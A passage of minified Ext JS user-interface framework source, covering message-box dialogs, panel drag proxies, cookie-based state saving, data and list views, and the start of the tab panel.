this.updateText(z) } return this }, isVisible:function () { return u && u.isVisible() }, hide:function () { var x = u ? u.activeGhost : null; if (this.isVisible() || x) { u.hide(); w(); if (x) { u.unghost(false, false) } } return this }, show:function (A) { if (this.isVisible()) { this.hide() } b = A; var B = this.getDialog(b.title || " "); B.setTitle(b.title || " "); var x = (b.closable !== false && b.progress !== true && b.wait !== true); B.tools.close.setDisplayed(x); v = s; b.prompt = b.prompt || (b.multiline ? true : false); if (b.prompt) { if (b.multiline) { s.hide(); a.show(); a.setHeight(Ext.isNumber(b.multiline) ? b.multiline : this.defaultTextHeight); v = a } else { s.show(); a.hide() } } else { s.hide(); a.hide() } v.dom.value = b.value || ""; if (b.prompt) { B.focusEl = v } else { var z = b.buttons; var y = null; if (z && z.ok) { y = r.ok } else { if (z && z.yes) { y = r.yes } } if (y) { B.focusEl = y } } if (Ext.isDefined(b.iconCls)) { B.setIconClass(b.iconCls) } this.setIcon(Ext.isDefined(b.icon) ? b.icon : i); o = k(b.buttons); n.setVisible(b.progress === true || b.wait === true); this.updateProgress(0, b.progressText); this.updateText(b.msg); if (b.cls) { B.el.addClass(b.cls) } B.proxyDrag = b.proxyDrag === true; B.modal = b.modal !== false; B.mask = b.modal !== false ? q : false; if (!B.isVisible()) { document.body.appendChild(u.el.dom); B.setAnimateTarget(b.animEl); B.on("show", function () { if (x === true) { B.keyMap.enable() } else { B.keyMap.disable() } }, this, {single:true}); B.show(b.animEl) } if (b.wait === true) { n.wait(b.waitConfig) } return this }, setIcon:function (x) { if (!u) { i = x; return } i = undefined; if (x && x != "") { j.removeClass("x-hidden"); j.replaceClass(d, x); h.addClass("x-dlg-icon"); d = x } else { j.replaceClass(d, "x-hidden"); h.removeClass("x-dlg-icon"); d = "" } return this }, progress:function (z, y, x) { this.show({title:z, msg:y, buttons:false, progress:true, closable:false, minWidth:this.minProgressWidth, progressText:x}); return this }, wait:function (z, y, x) { this.show({title:y, msg:z, buttons:false, closable:false, wait:true, modal:true, minWidth:this.minProgressWidth, waitConfig:x}); return this }, alert:function (A, z, y, x) { this.show({title:A, msg:z, buttons:this.OK, fn:y, scope:x, minWidth:this.minWidth}); return this }, confirm:function (A, z, y, x) { this.show({title:A, msg:z, buttons:this.YESNO, fn:y, scope:x, icon:this.QUESTION, minWidth:this.minWidth}); return this }, prompt:function (C, B, z, y, x, A) { this.show({title:C, msg:B, buttons:this.OKCANCEL, fn:z, minWidth:this.minPromptWidth, scope:y, prompt:true, multiline:x, value:A}); return this }, OK:{ok:true}, CANCEL:{cancel:true}, OKCANCEL:{ok:true, cancel:true}, YESNO:{yes:true, no:true}, YESNOCANCEL:{yes:true, no:true, cancel:true}, INFO:"ext-mb-info", WARNING:"ext-mb-warning", QUESTION:"ext-mb-question", ERROR:"ext-mb-error", defaultTextHeight:75, maxWidth:600, minWidth:100, minProgressWidth:250, minPromptWidth:250, buttonText:{ok:"OK", cancel:"Cancel", yes:"Yes", no:"No"}} }(); Ext.Msg = Ext.MessageBox; Ext.dd.PanelProxy = Ext.extend(Object, {constructor:function (a, b) { this.panel = a; this.id = this.panel.id + "-ddproxy"; Ext.apply(this, b) }, insertProxy:true, setStatus:Ext.emptyFn, reset:Ext.emptyFn, update:Ext.emptyFn, stop:Ext.emptyFn, sync:Ext.emptyFn, getEl:function () { return this.ghost }, getGhost:function () { return this.ghost }, getProxy:function () { return this.proxy }, hide:function () { if (this.ghost) { if (this.proxy) { this.proxy.remove(); delete this.proxy } this.panel.el.dom.style.display = ""; this.ghost.remove(); delete this.ghost } }, show:function () { if (!this.ghost) { this.ghost = this.panel.createGhost(this.panel.initialConfig.cls, undefined, Ext.getBody()); this.ghost.setXY(this.panel.el.getXY()); if (this.insertProxy) { this.proxy = this.panel.el.insertSibling({cls:"x-panel-dd-spacer"}); this.proxy.setSize(this.panel.getSize()) } this.panel.el.dom.style.display = "none" } }, repair:function (b, c, a) { this.hide(); if (typeof c == "function") { c.call(a || this) } }, moveProxy:function (a, b) { if (this.proxy) { a.insertBefore(this.proxy.dom, b) } }}); Ext.Panel.DD = Ext.extend(Ext.dd.DragSource, {constructor:function (b, a) { this.panel = b; this.dragData = {panel:b}; this.proxy = new Ext.dd.PanelProxy(b, a); Ext.Panel.DD.superclass.constructor.call(this, b.el, a); var d = b.header, c = b.body; if (d) { this.setHandleElId(d.id); c = b.header } c.setStyle("cursor", "move"); this.scroll = false }, showFrame:Ext.emptyFn, startDrag:Ext.emptyFn, b4StartDrag:function (a, b) { this.proxy.show() }, b4MouseDown:function (b) { var a = b.getPageX(), c = b.getPageY(); this.autoOffset(a, c) }, onInitDrag:function (a, b) { this.onStartDrag(a, b); return true }, createFrame:Ext.emptyFn, getDragEl:function (a) { return this.proxy.ghost.dom }, endDrag:function (a) { this.proxy.hide(); this.panel.saveState() }, autoOffset:function (a, b) { a -= this.startPageX; b -= this.startPageY; this.setDelta(a, b) }}); Ext.state.Provider = Ext.extend(Ext.util.Observable, {constructor:function () { this.addEvents("statechange"); this.state = {}; Ext.state.Provider.superclass.constructor.call(this) }, get:function (b, a) { return typeof this.state[b] == "undefined" ? a : this.state[b] }, clear:function (a) { delete this.state[a]; this.fireEvent("statechange", this, a, null) }, set:function (a, b) { this.state[a] = b; this.fireEvent("statechange", this, a, b) }, decodeValue:function (b) { var e = /^(a|n|d|b|s|o|e)\:(.*)$/, h = e.exec(unescape(b)), d, c, a, g; if (!h || !h[1]) { return } c = h[1]; a = h[2]; switch (c) { case"e": return null; case"n": return parseFloat(a); case"d": return new Date(Date.parse(a)); case"b": return(a == "1"); case"a": d = []; if (a != "") { Ext.each(a.split("^"), function (i) { d.push(this.decodeValue(i)) }, this) } return d; case"o": d = {}; if (a != "") { Ext.each(a.split("^"), function (i) { g = i.split("="); d[g[0]] = this.decodeValue(g[1]) }, this) } return d; default: return a } }, encodeValue:function (c) { var b, g = "", e = 0, a, d; if (c == null) { return"e:1" } else { if (typeof c == "number") { b = "n:" + c } else { if (typeof c == "boolean") { b = "b:" + (c ? "1" : "0") } else { if (Ext.isDate(c)) { b = "d:" + c.toGMTString() } else { if (Ext.isArray(c)) { for (a = c.length; e < a; e++) { g += this.encodeValue(c[e]); if (e != a - 1) { g += "^" } } b = "a:" + g } else { if (typeof c == "object") { for (d in c) { if (typeof c[d] != "function" && c[d] !== undefined) { g += d + "=" + this.encodeValue(c[d]) + "^" } } b = "o:" + g.substring(0, g.length - 1) } else { b = "s:" + c } } } } } } return escape(b) }}); Ext.state.Manager = function () { var a = new Ext.state.Provider(); return{setProvider:function (b) { a = b }, get:function (c, b) { return a.get(c, b) }, set:function (b, c) { a.set(b, c) }, clear:function (b) { a.clear(b) }, getProvider:function () { return a }} }(); Ext.state.CookieProvider = Ext.extend(Ext.state.Provider, {constructor:function (a) { Ext.state.CookieProvider.superclass.constructor.call(this); this.path = "/"; this.expires = new Date(new Date().getTime() + (1000 * 60 * 60 * 24 * 7)); this.domain = null; this.secure = false; Ext.apply(this, a); this.state = this.readCookies() }, set:function (a, b) { if (typeof b == "undefined" || b === null) { this.clear(a); return } this.setCookie(a, b); Ext.state.CookieProvider.superclass.set.call(this, a, b) }, clear:function (a) { this.clearCookie(a); Ext.state.CookieProvider.superclass.clear.call(this, a) }, readCookies:function () { var d = {}, h = document.cookie + ";", b = /\s?(.*?)=(.*?);/g, g, a, e; while ((g = b.exec(h)) != null) { a = g[1]; e = g[2]; if (a && a.substring(0, 3) == "ys-") { d[a.substr(3)] = this.decodeValue(e) } } return d }, setCookie:function (a, b) { document.cookie = "ys-" + a + "=" + this.encodeValue(b) + ((this.expires == null) ? "" : ("; expires=" + this.expires.toGMTString())) + ((this.path == null) ? "" : ("; path=" + this.path)) + ((this.domain == null) ? "" : ("; domain=" + this.domain)) + ((this.secure == true) ? "; secure" : "") }, clearCookie:function (a) { document.cookie = "ys-" + a + "=null; expires=Thu, 01-Jan-70 00:00:01 GMT" + ((this.path == null) ? "" : ("; path=" + this.path)) + ((this.domain == null) ? "" : ("; domain=" + this.domain)) + ((this.secure == true) ? "; secure" : "") }}); Ext.DataView = Ext.extend(Ext.BoxComponent, {selectedClass:"x-view-selected", emptyText:"", deferEmptyText:true, trackOver:false, blockRefresh:false, last:false, initComponent:function () { Ext.DataView.superclass.initComponent.call(this); if (Ext.isString(this.tpl) || Ext.isArray(this.tpl)) { this.tpl = new Ext.XTemplate(this.tpl) } this.addEvents("beforeclick", "click", "mouseenter", "mouseleave", "containerclick", "dblclick", "contextmenu", "containercontextmenu", "selectionchange", "beforeselect"); this.store = Ext.StoreMgr.lookup(this.store); this.all = new Ext.CompositeElementLite(); this.selected = new Ext.CompositeElementLite() }, afterRender:function () { Ext.DataView.superclass.afterRender.call(this); this.mon(this.getTemplateTarget(), {click:this.onClick, dblclick:this.onDblClick, contextmenu:this.onContextMenu, scope:this}); if (this.overClass || this.trackOver) { this.mon(this.getTemplateTarget(), {mouseover:this.onMouseOver, mouseout:this.onMouseOut, scope:this}) } if (this.store) { this.bindStore(this.store, true) } }, refresh:function () { this.clearSelections(false, true); var b = this.getTemplateTarget(), a = this.store.getRange(); b.update(""); if (a.length < 1) { if (!this.deferEmptyText || this.hasSkippedEmptyText) { b.update(this.emptyText) } this.all.clear() } else { this.tpl.overwrite(b, this.collectData(a, 0)); this.all.fill(Ext.query(this.itemSelector, b.dom)); this.updateIndexes(0) } this.hasSkippedEmptyText = true }, getTemplateTarget:function () { return this.el }, prepareData:function (a) { return a }, collectData:function (b, e) { var d = [], c = 0, a = b.length; for (; c < a; c++) { d[d.length] = this.prepareData(b[c].data, e + c, b[c]) } return d }, bufferRender:function (a, b) { var c = document.createElement("div"); this.tpl.overwrite(c, this.collectData(a, b)); return Ext.query(this.itemSelector, c) }, onUpdate:function (g, a) { var b = this.store.indexOf(a); if (b > -1) { var e = this.isSelected(b), c = this.all.elements[b], d = this.bufferRender([a], b)[0]; this.all.replaceElement(b, d, true); if (e) { this.selected.replaceElement(c, d); this.all.item(b).addClass(this.selectedClass) } this.updateIndexes(b, b) } }, onAdd:function (g, d, e) { if (this.all.getCount() === 0) { this.refresh(); return } var c = this.bufferRender(d, e), h, b = this.all.elements; if (e < this.all.getCount()) { h = this.all.item(e).insertSibling(c, "before", true); b.splice.apply(b, [e, 0].concat(c)) } else { h = this.all.last().insertSibling(c, "after", true); b.push.apply(b, c) } this.updateIndexes(e) }, onRemove:function (c, a, b) { this.deselect(b); this.all.removeElement(b, true); this.updateIndexes(b); if (this.store.getCount() === 0) { this.refresh() } }, refreshNode:function (a) { this.onUpdate(this.store, this.store.getAt(a)) }, updateIndexes:function (d, c) { var b = this.all.elements; d = d || 0; c = c || ((c === 0) ? 0 : (b.length - 1)); for (var a = d; a <= c; a++) { b[a].viewIndex = a } }, getStore:function () { return this.store }, bindStore:function (a, b) { if (!b && this.store) { if (a !== this.store && this.store.autoDestroy) { this.store.destroy() } else { this.store.un("beforeload", this.onBeforeLoad, this); this.store.un("datachanged", this.onDataChanged, this); this.store.un("add", this.onAdd, this); this.store.un("remove", this.onRemove, this); this.store.un("update", this.onUpdate, this); this.store.un("clear", this.refresh, this) } if (!a) { this.store = null } } if (a) { a = Ext.StoreMgr.lookup(a); a.on({scope:this, beforeload:this.onBeforeLoad, datachanged:this.onDataChanged, add:this.onAdd, remove:this.onRemove, update:this.onUpdate, clear:this.refresh}) } this.store = a; if (a) { this.refresh() } }, onDataChanged:function () { if (this.blockRefresh !== true) { this.refresh.apply(this, arguments) } }, findItemFromChild:function (a) { return Ext.fly(a).findParent(this.itemSelector, this.getTemplateTarget()) }, onClick:function (c) { var b = c.getTarget(this.itemSelector, this.getTemplateTarget()), a; if (b) { a = this.indexOf(b); if (this.onItemClick(b, a, c) !== false) { this.fireEvent("click", this, a, b, c) } } else { if (this.fireEvent("containerclick", this, c) !== false) { this.onContainerClick(c) } } }, onContainerClick:function (a) { this.clearSelections() }, onContextMenu:function (b) { var a = b.getTarget(this.itemSelector, this.getTemplateTarget()); if (a) { this.fireEvent("contextmenu", this, this.indexOf(a), a, b) } else { this.fireEvent("containercontextmenu", this, b) } }, onDblClick:function (b) { var a = b.getTarget(this.itemSelector, this.getTemplateTarget()); if (a) { this.fireEvent("dblclick", this, this.indexOf(a), a, b) } }, onMouseOver:function (b) { var a = b.getTarget(this.itemSelector, this.getTemplateTarget()); if (a && a !== this.lastItem) { this.lastItem = a; Ext.fly(a).addClass(this.overClass); this.fireEvent("mouseenter", this, this.indexOf(a), a, b) } }, onMouseOut:function (a) { if (this.lastItem) { if (!a.within(this.lastItem, true, true)) { Ext.fly(this.lastItem).removeClass(this.overClass); this.fireEvent("mouseleave", this, this.indexOf(this.lastItem), this.lastItem, a); delete this.lastItem } } }, onItemClick:function (b, a, c) { if (this.fireEvent("beforeclick", this, a, b, c) === false) { return false } if (this.multiSelect) { this.doMultiSelection(b, a, c); c.preventDefault() } else { if (this.singleSelect) { this.doSingleSelection(b, a, c); c.preventDefault() } } return true }, doSingleSelection:function (b, a, c) { if (c.ctrlKey && this.isSelected(a)) { this.deselect(a) } else { this.select(a, false) } }, doMultiSelection:function (c, a, d) { if (d.shiftKey && this.last !== false) { var b = this.last; this.selectRange(b, a, d.ctrlKey); this.last = b } else { if ((d.ctrlKey || this.simpleSelect) && this.isSelected(a)) { this.deselect(a) } else { this.select(a, d.ctrlKey || d.shiftKey || this.simpleSelect) } } }, getSelectionCount:function () { return this.selected.getCount() }, getSelectedNodes:function () { return this.selected.elements }, getSelectedIndexes:function () { var b = [], d = this.selected.elements, c = 0, a = d.length; for (; c < a; c++) { b.push(d[c].viewIndex) } return b }, getSelectedRecords:function () { return this.getRecords(this.selected.elements) }, getRecords:function (c) { var b = [], d = 0, a = c.length; for (; d < a; d++) { b[b.length] = this.store.getAt(c[d].viewIndex) } return b }, getRecord:function (a) { return this.store.getAt(a.viewIndex) }, clearSelections:function (a, b) { if ((this.multiSelect || this.singleSelect) && this.selected.getCount() > 0) { if (!b) { this.selected.removeClass(this.selectedClass) } this.selected.clear(); this.last = false; if (!a) { this.fireEvent("selectionchange", this, this.selected.elements) } } }, isSelected:function (a) { return this.selected.contains(this.getNode(a)) }, deselect:function (a) { if (this.isSelected(a)) { a = this.getNode(a); this.selected.removeElement(a); if (this.last == a.viewIndex) { this.last = false } Ext.fly(a).removeClass(this.selectedClass); this.fireEvent("selectionchange", this, this.selected.elements) } }, select:function (d, g, b) { if (Ext.isArray(d)) { if (!g) { this.clearSelections(true) } for (var c = 0, a = d.length; c < a; c++) { this.select(d[c], true, true) } if (!b) { this.fireEvent("selectionchange", this, this.selected.elements) } } else { var e = this.getNode(d); if (!g) { this.clearSelections(true) } if (e && !this.isSelected(e)) { if (this.fireEvent("beforeselect", this, e, this.selected.elements) !== false) { Ext.fly(e).addClass(this.selectedClass); this.selected.add(e); this.last = e.viewIndex; if (!b) { this.fireEvent("selectionchange", this, this.selected.elements) } } } } }, selectRange:function (c, a, b) { if (!b) { this.clearSelections(true) } this.select(this.getNodes(c, a), true) }, getNode:function (b) { if (Ext.isString(b)) { return document.getElementById(b) } else { if (Ext.isNumber(b)) { return this.all.elements[b] } else { if (b instanceof Ext.data.Record) { var a = this.store.indexOf(b); return this.all.elements[a] } } } return b }, getNodes:function (e, a) { var d = this.all.elements, b = [], c; e = e || 0; a = !Ext.isDefined(a) ? Math.max(d.length - 1, 0) : a; if (e <= a) { for (c = e; c <= a && d[c]; c++) { b.push(d[c]) } } else { for (c = e; c >= a && d[c]; c--) { b.push(d[c]) } } return b }, indexOf:function (a) { a = this.getNode(a); if (Ext.isNumber(a.viewIndex)) { return a.viewIndex } return this.all.indexOf(a) }, onBeforeLoad:function () { if (this.loadingText) { this.clearSelections(false, true); this.getTemplateTarget().update('
    ' + this.loadingText + "
    "); this.all.clear() } }, onDestroy:function () { this.all.clear(); this.selected.clear(); Ext.DataView.superclass.onDestroy.call(this); this.bindStore(null) }}); Ext.DataView.prototype.setStore = Ext.DataView.prototype.bindStore; Ext.reg("dataview", Ext.DataView); Ext.list.ListView = Ext.extend(Ext.DataView, {itemSelector:"dl", selectedClass:"x-list-selected", overClass:"x-list-over", scrollOffset:undefined, columnResize:true, columnSort:true, maxColumnWidth:Ext.isIE ? 99 : 100, initComponent:function () { if (this.columnResize) { this.colResizer = new Ext.list.ColumnResizer(this.colResizer); this.colResizer.init(this) } if (this.columnSort) { this.colSorter = new Ext.list.Sorter(this.columnSort); this.colSorter.init(this) } if (!this.internalTpl) { this.internalTpl = new Ext.XTemplate('
    ', '', '
    ', "{header}", "
    ", "
    ", '
    ', "
    ", '
    ', "
    ") } if (!this.tpl) { this.tpl = new Ext.XTemplate('', "
    ", '', '
    ', ' class="{cls}">', "{[values.tpl.apply(parent)]}", "
    ", "
    ", '
    ', "
    ", "
    ") } var l = this.columns, h = 0, k = 0, m = l.length, b = []; for (var g = 0; g < m; g++) { var n = l[g]; if (!n.isColumn) { n.xtype = n.xtype ? (/^lv/.test(n.xtype) ? n.xtype : "lv" + n.xtype) : "lvcolumn"; n = Ext.create(n) } if (n.width) { h += n.width * 100; if (h > this.maxColumnWidth) { n.width -= (h - this.maxColumnWidth) / 100 } k++ } b.push(n) } l = this.columns = b; if (k < m) { var d = m - k; if (h < this.maxColumnWidth) { var a = ((this.maxColumnWidth - h) / d) / 100; for (var e = 0; e < m; e++) { var n = l[e]; if (!n.width) { n.width = a } } } } Ext.list.ListView.superclass.initComponent.call(this) }, onRender:function () { this.autoEl = {cls:"x-list-wrap"}; Ext.list.ListView.superclass.onRender.apply(this, arguments); this.internalTpl.overwrite(this.el, {columns:this.columns}); this.innerBody = Ext.get(this.el.dom.childNodes[1].firstChild); this.innerHd = Ext.get(this.el.dom.firstChild.firstChild); if (this.hideHeaders) { this.el.dom.firstChild.style.display = "none" } }, getTemplateTarget:function () { return this.innerBody }, collectData:function () { var a = Ext.list.ListView.superclass.collectData.apply(this, arguments); return{columns:this.columns, rows:a} }, verifyInternalSize:function () { if (this.lastSize) { this.onResize(this.lastSize.width, this.lastSize.height) } }, onResize:function (c, e) { var b = this.innerBody.dom, g = this.innerHd.dom, d = c - Ext.num(this.scrollOffset, Ext.getScrollBarWidth()) + "px", a; if (!b) { return } a = b.parentNode; if (Ext.isNumber(c)) { if (this.reserveScrollOffset || ((a.offsetWidth - a.clientWidth) > 10)) { b.style.width = d; g.style.width = d } else { b.style.width = c + "px"; g.style.width = c + "px"; setTimeout(function () { if ((a.offsetWidth - a.clientWidth) > 10) { b.style.width = d; g.style.width = d } }, 10) } } if (Ext.isNumber(e)) { a.style.height = Math.max(0, e - g.parentNode.offsetHeight) + "px" } }, updateIndexes:function () { Ext.list.ListView.superclass.updateIndexes.apply(this, arguments); this.verifyInternalSize() }, findHeaderIndex:function (g) { g = g.dom || g; var a = g.parentNode, d = a.parentNode.childNodes, b = 0, e; for (; e = d[b]; b++) { if (e == a) { return b } } return -1 }, setHdWidths:function () { var d = this.innerHd.dom.getElementsByTagName("div"), c = 0, b = this.columns, a = b.length; for (; c < a; c++) { d[c].style.width = (b[c].width * 100) + "%" } }}); Ext.reg("listview", Ext.list.ListView); Ext.ListView = Ext.list.ListView; Ext.list.Column = Ext.extend(Object, {isColumn:true, align:"left", header:"", width:null, cls:"", constructor:function (a) { if (!a.tpl) { a.tpl = new Ext.XTemplate("{" + a.dataIndex + "}") } else { if (Ext.isString(a.tpl)) { a.tpl = new Ext.XTemplate(a.tpl) } } Ext.apply(this, a) }}); Ext.reg("lvcolumn", Ext.list.Column); Ext.list.NumberColumn = Ext.extend(Ext.list.Column, {format:"0,000.00", constructor:function (a) { a.tpl = a.tpl || new Ext.XTemplate("{" + a.dataIndex + ':number("' + (a.format || this.format) + '")}'); Ext.list.NumberColumn.superclass.constructor.call(this, a) }}); Ext.reg("lvnumbercolumn", Ext.list.NumberColumn); Ext.list.DateColumn = Ext.extend(Ext.list.Column, {format:"m/d/Y", constructor:function (a) { a.tpl = a.tpl || new Ext.XTemplate("{" + a.dataIndex + ':date("' + (a.format || this.format) + '")}'); Ext.list.DateColumn.superclass.constructor.call(this, a) }}); Ext.reg("lvdatecolumn", Ext.list.DateColumn); Ext.list.BooleanColumn = Ext.extend(Ext.list.Column, {trueText:"true", falseText:"false", undefinedText:" ", constructor:function (e) { e.tpl = e.tpl || new Ext.XTemplate("{" + e.dataIndex + ":this.format}"); var b = this.trueText, d = this.falseText, a = this.undefinedText; e.tpl.format = function (c) { if (c === undefined) { return a } if (!c || c === "false") { return d } return b }; Ext.list.DateColumn.superclass.constructor.call(this, e) }}); Ext.reg("lvbooleancolumn", Ext.list.BooleanColumn); Ext.list.ColumnResizer = Ext.extend(Ext.util.Observable, {minPct:0.05, constructor:function (a) { Ext.apply(this, a); Ext.list.ColumnResizer.superclass.constructor.call(this) }, init:function (a) { this.view = a; a.on("render", this.initEvents, this) }, initEvents:function (a) { a.mon(a.innerHd, "mousemove", this.handleHdMove, this); this.tracker = new Ext.dd.DragTracker({onBeforeStart:this.onBeforeStart.createDelegate(this), onStart:this.onStart.createDelegate(this), onDrag:this.onDrag.createDelegate(this), onEnd:this.onEnd.createDelegate(this), tolerance:3, autoStart:300}); this.tracker.initEl(a.innerHd); a.on("beforedestroy", this.tracker.destroy, this.tracker) }, handleHdMove:function (i, d) { var c = 5, b = i.getPageX(), j = i.getTarget("em", 3, true); if (j) { var h = j.getRegion(), g = j.dom.style, a = j.dom.parentNode; if (b - h.left <= c && a != a.parentNode.firstChild) { this.activeHd = Ext.get(a.previousSibling.firstChild); g.cursor = Ext.isWebKit ? "e-resize" : "col-resize" } else { if (h.right - b <= c && a != a.parentNode.lastChild.previousSibling) { this.activeHd = j; g.cursor = Ext.isWebKit ? "w-resize" : "col-resize" } else { delete this.activeHd; g.cursor = "" } } } }, onBeforeStart:function (a) { this.dragHd = this.activeHd; return !!this.dragHd }, onStart:function (g) { var d = this, b = d.view, c = d.dragHd, a = d.tracker.getXY()[0]; d.proxy = b.el.createChild({cls:"x-list-resizer"}); d.dragX = c.getX(); d.headerIndex = b.findHeaderIndex(c); d.headersDisabled = b.disableHeaders; b.disableHeaders = true; d.proxy.setHeight(b.el.getHeight()); d.proxy.setX(d.dragX); d.proxy.setWidth(a - d.dragX); this.setBoundaries() }, setBoundaries:function (j) { var k = this.view, h = this.headerIndex, c = k.innerHd.getWidth(), j = k.innerHd.getX(), b = Math.ceil(c * this.minPct), l = c - b, e = k.columns.length, d = k.innerHd.select("em", true), g = b + j, a = l + j, i; if (e == 2) { this.minX = g; this.maxX = a } else { i = d.item(h + 2); this.minX = d.item(h).getX() + b; this.maxX = i ? i.getX() - b : a; if (h == 0) { this.minX = g } else { if (h == e - 2) { this.maxX = a } } } }, onDrag:function (c) { var b = this, a = b.tracker.getXY()[0].constrain(b.minX, b.maxX); b.proxy.setWidth(a - this.dragX) }, onEnd:function (i) { var g = this.proxy.getWidth(), h = this.headerIndex, l = this.view, c = l.columns, b = l.innerHd.getWidth(), k = Math.ceil(g * l.maxColumnWidth / b) / 100, d = this.headersDisabled, m = c[h], j = c[h + 1], a = m.width + j.width; this.proxy.remove(); m.width = k; j.width = a - k; delete this.dragHd; l.setHdWidths(); l.refresh(); setTimeout(function () { l.disableHeaders = d }, 100) }}); Ext.ListView.ColumnResizer = Ext.list.ColumnResizer; Ext.list.Sorter = Ext.extend(Ext.util.Observable, {sortClasses:["sort-asc", "sort-desc"], constructor:function (a) { Ext.apply(this, a); Ext.list.Sorter.superclass.constructor.call(this) }, init:function (a) { this.view = a; a.on("render", this.initEvents, this) }, initEvents:function (a) { a.mon(a.innerHd, "click", this.onHdClick, this); a.innerHd.setStyle("cursor", "pointer"); a.mon(a.store, "datachanged", this.updateSortState, this); this.updateSortState.defer(10, this, [a.store]) }, updateSortState:function (c) { var g = c.getSortState(); if (!g) { return } this.sortState = g; var e = this.view.columns, h = -1; for (var d = 0, a = e.length; d < a; d++) { if (e[d].dataIndex == g.field) { h = d; break } } if (h != -1) { var b = g.direction; this.updateSortIcon(h, b) } }, updateSortIcon:function (b, a) { var d = this.sortClasses; var c = this.view.innerHd.select("em").removeClass(d); c.item(b).addClass(d[a == "DESC" ? 1 : 0]) }, onHdClick:function (c) { var b = c.getTarget("em", 3); if (b && !this.view.disableHeaders) { var a = this.view.findHeaderIndex(b); this.view.store.sort(this.view.columns[a].dataIndex) } }}); Ext.ListView.Sorter = Ext.list.Sorter; Ext.TabPanel = Ext.extend(Ext.Panel, {deferredRender:true, tabWidth:120, minTabWidth:30, resizeTabs:false, enableTabScroll:false, scrollIncrement:0, scrollRepeatInterval:400, scrollDuration:0.35, animScroll:true, tabPosition:"top", baseCls:"x-tab-panel", autoTabs:false, autoTabSelector:"div.x-tab", activeTab:undefined, tabMargin:2, plain:false, wheelIncrement:20, idDelimiter:"__", itemCls:"x-tab-item", elements:"body", headerAsText:false, frame:false, hideBorders:true, initComponent:function () { this.frame = false; Ext.TabPanel.superclass.initComponent.call(this); this.addEvents("beforetabchange", "tabchange", "contextmenu"); this.setLayout(new Ext.layout.CardLayout(Ext.apply({layoutOnCardChange:this.layoutOnTabChange, deferredRender:this.deferredRender}, this.layoutConfig))); if (this.tabPosition == "top") { this.elements += ",header"; this.stripTarget = "header" } else { this.elements += ",footer"; this.stripTarget = "footer" } if (!this.stack) { this.stack = Ext.TabPanel.AccessStack() } this.initItems() }, onRender:function (c, a) { Ext.TabPanel.superclass.onRender.call(this, c, a); if (this.plain) { var g = this.tabPosition == "top" ? "header" : "footer"; this[g].addClass("x-tab-panel-" + g + "-plain") } var b = this[this.stripTarget]; this.stripWrap = b.createChild({cls:"x-tab-strip-wrap", cn:{tag:"ul", cls:"x-tab-strip x-tab-strip-" + this.tabPosition}}); var e = (this.tabPosition == "bottom" ? this.stripWrap : null); b.createChild({cls:"x-tab-strip-spacer"}, e); this.strip = new Ext.Element(this.stripWrap.dom.firstChild); this.edge = this.strip.createChild({tag:"li", cls:"x-tab-edge", cn:[ {tag:"span", cls:"x-tab-strip-text", cn:" "} ]}); this.strip.createChild({cls:"x-clear"}); this.body.addClass("x-tab-panel-body-" + this.tabPosition); if (!this.itemTpl) { var d = new Ext.Template('
  • ', '', '{text}', "
  • "); d.disableFormats = true; d.compile(); Ext.TabPanel.prototype.itemTpl = d } this.items.each(this.initTab, this) }, afterRender:function () { Ext.TabPanel.superclass.afterRender.call(this); if (this.autoTabs) { this.readTabs(false) } if (this.activeTab !== undefined) { var a = Ext.isObject(this.activeTab) ? this.activeTab : this.items.get(this.activeTab); delete this.activeTab; this.setActiveTab(a) } }, initEvents:function () { Ext.TabPanel.superclass.initEvents.call(this); this.mon(this.strip, {scope:this, mousedown:this.onStripMouseDown, contextmenu:this.onStripContextMenu}); if (this.enableTabScroll) { this.mon(this.strip, "mousewheel", this.onWheel, this) } }, findTargets:function (c) { var b = null, a = c.getTarget("li:not(.x-tab-edge)", this.strip); if (a) { b = this.getComponent(a.id.split(this.idDelimiter)[1]); if (b.disabled) { return{close:null, item:null, el:null} } } return{close:c.getTarget(".x-tab-strip-close", this.strip), item:b, el:a} }, onStripMouseDown:function (b) { if (b.button !== 0) { return } b.preventDefault(); var a = this.findTargets(b); if (a.close) { if (a.item.fireEvent("beforeclose", a.item) !== false) { a.item.fireEvent("close", a.item); this.remove(a.item) } return } if (a.item && a.item != this.activeTab) { this.setActiveTab(a.item) } }, onStripContextMenu:function (b) { b.preventDefault(); var a = this.findTargets(b); if (a.item) { this.fireEvent("contextmenu", this, a.item, b) } }, readTabs:function (d) { if (d === true) { this.items.each(function (h) { this.remove(h) }, this) } var c = this.el.query(this.autoTabSelector); for (var b = 0, a = c.length; b < a; b++) { var e = c[b], g = e.getAttribute("title"); e.removeAttribute("title"); this.add({title:g, contentEl:e}) } }, initTab:function (d, b) { var e = this.strip.dom.childNodes[b], g = this.getTemplateArgs(d), c = e ? this.itemTpl.insertBefore(e, g) : this.itemTpl.append(this.strip, g), a = "x-tab-strip-over", h = Ext.get(c); h.hover(function () { if (!d.disabled) { h.addClass(a) } }, function () { h.removeClass(a) }); if (d.tabTip) { h.child("span.x-tab-strip-text", true).qtip = d.tabTip } d.tabEl = c; h.select("a").on("click", function (i) { if (!i.getPageX()) { this.onStripMouseDown(i) } }, this, {preventDefault:true}); d.on({scope:this, disable:this.onItemDisabled, enable:this.onItemEnabled, titlechange:this.onItemTitleChanged, iconchange:this.onItemIconChanged, beforeshow:this.onBeforeShowItem}) }, getTemplateArgs:function (b) { var a = b.closable ? "x-tab-strip-closable" : ""; if (b.disabled) { a += " x-item-disabled" } if (b.iconCls) { a += " x-tab-with-icon" } if (b.tabCls) { a += " " + b.tabCls } return{id:this.id + this.idDelimiter + b.getItemId(), text:b.title, cls:a, iconCls:b.iconCls || ""} }, onAdd:function (b) { Ext.TabPanel.superclass.onAdd.call(this, b); if (this.rendered) { var a = this.items; this.initTab(b, a.indexOf(b)); this.delegateUpdates() } }, onBeforeAdd:function (b) { var a = b.events ? (this.items.containsKey(b.getItemId()) ? b : null) : this.items.get(b); if (a) { this.setActiveTab(b); return false } Ext.TabPanel.superclass.onBeforeAdd.apply(this, arguments); var c = b.elements; b.elements = c ? c.replace(",header", "") : c; b.border = (b.border === true) }, onRemove:function (d) { var b = Ext.get(d.tabEl); if (b) { b.select("a").removeAllListeners(); Ext.destroy(b) } Ext.TabPanel.superclass.onRemove.call(this, d); this.stack.remove(d); delete d.tabEl; d.un("disable", this.onItemDisabled, this); d.un("enable", this.onItemEnabled, this); d.un("titlechange", this.onItemTitleChanged, this); d.un("iconchange", this.onItemIconChanged, this); d.un("beforeshow", this.onBeforeShowItem, this); if (d == this.activeTab) { var a = this.stack.next(); if (a) { this.setActiveTab(a) } else { if (this.items.getCount() > 0) { 